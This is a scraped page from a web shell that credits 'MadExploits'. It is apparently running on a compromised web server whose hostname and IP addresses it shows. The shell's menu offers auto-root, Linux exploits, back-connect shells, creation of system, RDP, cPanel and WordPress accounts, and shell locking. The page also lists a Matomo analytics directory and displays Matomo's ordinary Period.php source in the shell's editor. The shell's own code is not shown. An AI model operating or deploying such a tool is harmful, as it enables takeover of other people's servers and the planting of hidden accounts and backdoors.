Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.15.199.202
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Period.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Piwik\Container\StaticContainer; use Piwik\Period\Factory; use Piwik\Period\Range; use Piwik\Translation\Translator; /** * Date range representation. * * Piwik allows users to view aggregated statistics for single days and for date * ranges consisting of several days. When requesting data, a **date** string and * a **period** string must be used to specify the date range that the data regards. * This is the class Piwik uses to represent and manipulate those date ranges. * * There are five types of periods in Piwik: day, week, month, year and range, * where **range** is any date range. The reason the other periods exist instead * of just **range** is that Piwik will pre-archive reports for days, weeks, months * and years, while every custom date range is archived on-demand. * * @api */ abstract class Period { /** * Array of subperiods * @var Period[] */ protected $subperiods = array(); protected $subperiodsProcessed = false; /** * @var string */ protected $label = null; /** * @var Date */ protected $date = null; /** * @var Translator */ protected $translator; /** * Constructor. * * @param Date $date * @ignore */ public function __construct(Date $date) { $this->date = clone $date; $this->translator = StaticContainer::get('Piwik\Translation\Translator'); } public function __sleep() { return [ 'date', ]; } public function __wakeup() { $this->translator = StaticContainer::get('Piwik\Translation\Translator'); } /** * Returns true if `$dateString` and `$period` represent multiple periods. * * Will return true for date/period combinations where date references multiple * dates and period is not `'range'`. For example, will return true for: * * - **date** = `2012-01-01,2012-02-01` and **period** = `'day'` * - **date** = `2012-01-01,2012-02-01` and **period** = `'week'` * - **date** = `last7` and **period** = `'month'` * * etc. * * @static * @param $dateString string The **date** query parameter value. * @param $period string The **period** query parameter value. * @return boolean */ public static function isMultiplePeriod($dateString, $period) { return is_string($dateString) && (preg_match('/^(last|previous){1}([0-9]*)$/D', $dateString, $regs) || Range::parseDateRange($dateString)) && $period != 'range'; } /** * Checks the given date format whether it is a correct date format and if not, throw an exception. * * For valid date formats have a look at the {@link \Piwik\Date::factory()} method and * {@link isMultiplePeriod()} method. * * @param string $dateString * @throws \Exception If `$dateString` is in an invalid format or if the time is before * Tue, 06 Aug 1991. */ public static function checkDateFormat($dateString) { if (self::isMultiplePeriod($dateString, 'day')) { return; } Date::factory($dateString); } /** * Returns the first day of the period. * * @return Date */ public function getDateStart() { $this->generate(); if (count($this->subperiods) == 0) { return $this->getDate(); } $periods = $this->getSubperiods(); /** @var $currentPeriod Period */ $currentPeriod = $periods[0]; while ($currentPeriod->getNumberOfSubperiods() > 0) { $periods = $currentPeriod->getSubperiods(); $currentPeriod = $periods[0]; } return $currentPeriod->getDate(); } /** * Returns the start date & time of this period. * * @return Date */ public function getDateTimeStart() { return $this->getDateStart()->getStartOfDay(); } /** * Returns the end date & time of this period. * * @return Date */ public function getDateTimeEnd() { return $this->getDateEnd()->getEndOfDay(); } /** * Returns the last day of the period. * * @return Date */ public function getDateEnd() { $this->generate(); if (count($this->subperiods) == 0) { return $this->getDate(); } $periods = $this->getSubperiods(); /** @var $currentPeriod Period */ $currentPeriod = $periods[count($periods) - 1]; while ($currentPeriod->getNumberOfSubperiods() > 0) { $periods = $currentPeriod->getSubperiods(); $currentPeriod = $periods[count($periods) - 1]; } return $currentPeriod->getDate(); } /** * Returns the period ID. * * @return int A unique integer for this type of period. */ public function getId() { return Piwik::$idPeriods[$this->getLabel()]; } /** * Returns the label for the current period. * * @return string `"day"`, `"week"`, `"month"`, `"year"`, `"range"` */ public function getLabel() { return $this->label; } /** * @return Date */ protected function getDate() { return $this->date; } protected function generate() { $this->subperiodsProcessed = true; } /** * Returns the number of available subperiods. * * @return int */ public function getNumberOfSubperiods() { $this->generate(); return count($this->subperiods); } /** * Returns the set of Period instances that together make up this period. For a year, * this would be 12 months. For a month this would be 28-31 days. Etc. * * @return Period[] */ public function getSubperiods() { $this->generate(); return $this->subperiods; } /** * Returns whether the date `$date` is within the current period or not. * * Note: the time component of the period's dates and `$date` is ignored. * * @param Date $today * @return bool */ public function isDateInPeriod(Date $date) { $ts = $date->getStartOfDay()->getTimestamp(); return $ts >= $this->getDateStart()->getStartOfDay()->getTimestamp() && $ts < $this->getDateEnd()->addDay(1)->getStartOfDay()->getTimestamp(); } /** * Returns whether the given period date range intersects with this one. * * @param Period $other * @return bool */ public function isPeriodIntersectingWith(Period $other) { return !($this->getDateEnd()->getTimestamp() < $other->getDateStart()->getTimestamp() || $this->getDateStart()->getTimestamp() > $other->getDateEnd()->getTimestamp()); } /** * Returns the start day and day after the end day for this period in the given timezone. * * @param Date[] $timezone */ public function getBoundsInTimezone(string $timezone) { $date1 = $this->getDateTimeStart()->setTimezone($timezone); $date2 = $this->getDateTimeEnd()->setTimezone($timezone); return [$date1, $date2]; } /** * Add a date to the period. * * Protected because adding periods after initialization is not supported. * * @param \Piwik\Period $period Valid Period object * @ignore */ protected function addSubperiod($period) { $this->subperiods[] = $period; } /** * Returns a list of strings representing the current period. * * @param string $format The format of each individual day. * @return array|string An array of string dates that this period consists of. */ public function toString($format = "Y-m-d") { $this->generate(); $dateString = array(); foreach ($this->subperiods as $period) { $childPeriodStr = $period->toString($format); if (is_array($childPeriodStr)) { $childPeriodStr = implode(",", $childPeriodStr); } $dateString[] = $childPeriodStr; } return $dateString; } /** * See {@link toString()}. * * @return string */ public function __toString() { return implode(",", $this->toString()); } /** * Returns a pretty string describing this period. * * @return string */ abstract public function getPrettyString(); /** * Returns a short string description of this period that is localized with the currently used * language. * * @return string */ abstract public function getLocalizedShortString(); /** * Returns a long string description of this period that is localized with the currently used * language. * * @return string */ abstract public function getLocalizedLongString(); /** * Returns the label of the period type that is one size smaller than this one, or null if * it's the smallest. * * Range periods and other such 'period collections' are not considered as separate from * the value type of the collection. So a range period will return the result of the * subperiod's `getImmediateChildPeriodLabel()` method. * * @ignore * @return string|null */ abstract public function getImmediateChildPeriodLabel(); /** * Returns the label of the period type that is one size bigger than this one, or null * if it's the biggest. * * Range periods and other such 'period collections' are not considered as separate from * the value type of the collection. So a range period will return the result of the * subperiod's `getParentPeriodLabel()` method. * * @ignore */ abstract public function getParentPeriodLabel(); /** * Returns the date range string comprising two dates * * @return string eg, `'2012-01-01,2012-01-31'`. */ public function getRangeString() { $dateStart = $this->getDateStart(); $dateEnd = $this->getDateEnd(); return $dateStart->toString("Y-m-d") . "," . $dateEnd->toString("Y-m-d"); } /** * @param string $format * * @return mixed */ protected function getTranslatedRange($format) { $dateStart = $this->getDateStart(); $dateEnd = $this->getDateEnd(); list($formatStart, $formatEnd) = $this->explodeFormat($format); $string = $dateStart->getLocalized($formatStart); $string .= $dateEnd->getLocalized($formatEnd, false); return $string; } /** * Explodes the given format into two pieces. One that can be user for start date and the other for end date * * @param $format * @return array */ protected function explodeFormat($format) { $intervalTokens = array( array('d', 'E', 'C'), array('M', 'L'), array('y') ); $offset = strlen($format); // replace string literals encapsulated by ' with same country of * $cleanedFormat = preg_replace_callback('/(\'[^\']+\')/', array($this, 'replaceWithStars'), $format); // search for first duplicate date field foreach ($intervalTokens AS $tokens) { if (preg_match_all('/[' . implode('|', $tokens) . ']+/', $cleanedFormat, $matches, PREG_OFFSET_CAPTURE) && count($matches[0]) > 1 && $offset > $matches[0][1][1] ) { $offset = $matches[0][1][1]; } } return array(substr($format, 0, $offset), substr($format, $offset)); } private function replaceWithStars($matches) { return str_repeat("*", strlen($matches[0])); } protected function getRangeFormat($short = false) { $maxDifference = 'D'; if ($this->getDateStart()->toString('y') != $this->getDateEnd()->toString('y')) { $maxDifference = 'Y'; } elseif ($this->getDateStart()->toString('m') != $this->getDateEnd()->toString('m')) { $maxDifference = 'M'; } $dateTimeFormatProvider = StaticContainer::get('Piwik\Intl\Data\Provider\DateTimeFormatProvider'); return $dateTimeFormatProvider->getRangeFormatPattern($short, $maxDifference); } /** * Returns all child periods that exist within this periods entire date range. Cascades * downwards over all period types that are smaller than this one. For example, month periods * will cascade to week and day periods and year periods will cascade to month, week and day * periods. * * The method will not return periods that are outside the range of this period. * * @return Period[] * @ignore */ public function getAllOverlappingChildPeriods() { return $this->getAllOverlappingChildPeriodsInRange($this->getDateStart(), $this->getDateEnd()); } private function getAllOverlappingChildPeriodsInRange(Date $dateStart, Date $dateEnd) { $result = array(); $childPeriodType = $this->getImmediateChildPeriodLabel(); if (empty($childPeriodType)) { return $result; } $childPeriods = Factory::build($childPeriodType, $dateStart->toString() . ',' . $dateEnd->toString()); return array_merge($childPeriods->getSubperiods(), $childPeriods->getAllOverlappingChildPeriodsInRange($dateStart, $dateEnd)); } }
Close